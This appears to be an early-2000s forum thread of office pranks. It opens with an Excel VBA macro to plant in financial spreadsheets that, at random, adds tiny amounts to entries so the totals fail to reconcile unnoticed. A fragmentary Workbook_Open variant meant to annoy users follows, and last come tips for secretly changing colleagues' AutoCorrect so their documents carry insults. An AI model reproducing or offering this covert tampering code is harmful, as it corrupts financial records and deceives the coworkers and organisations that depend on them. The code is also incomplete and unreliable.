put this in any financial spreadsheet, or I guess anywhere for that matter:
Private Sub Worksheet_Change(ByVal Target As Range)
Dim Level As String
Dim Occurance As Integer
Frequency = 0.3
Level = 0.0000001
On Error Resume Next
Application.EnableEvents = False
If Target.Value< Level Then End
If Rnd()< Frequency Then Target = Target + Level
Application.EnableEvents = True
In case you wondered what this does...It randomly(frequency) adds a very small amount(level) to every entry made in a sheet. The amounts should not be enough to notice until its time to reconscile...hehehe This message was edited by corticus on 2002-12-19 12:17
a variation on my code :
Private Sub Workbook_Open()
Application.DisplayAlerts = False
annoying_level = 8 * weekday(now())
annoying_number = 100 * Rnd
If annoying_number < annoying_level Then
On sunday the annoying_level will be 8, on monday 16, on tuesday 24, etc.
'During the week, the PC get tired to start XL' :wink:
If you haven't the time to hoik some VBA, just do as I do and slip into their auto correct. An endless source of fun - especially if your colleagues are not apt to proof read their work. (Good on Excel but works even better on Word).
Try these -
Replace "the" with "the ****" - Works well on sentences like -
"The manager of the company has approved the loan."
Or this gem -
Replace "you" with "you idiots" - Good for -
"I'd like to thank you for the kind gift you sent me yesterday"
Or even -
Replace "Brian" (use the person's name) with "Brian (your love puppet)" - Imagine this -
"Thank you for your trust in me, Sir. I won't let you down. Regards, Brian"
And these are just the mild ones. How far are you willing to push it?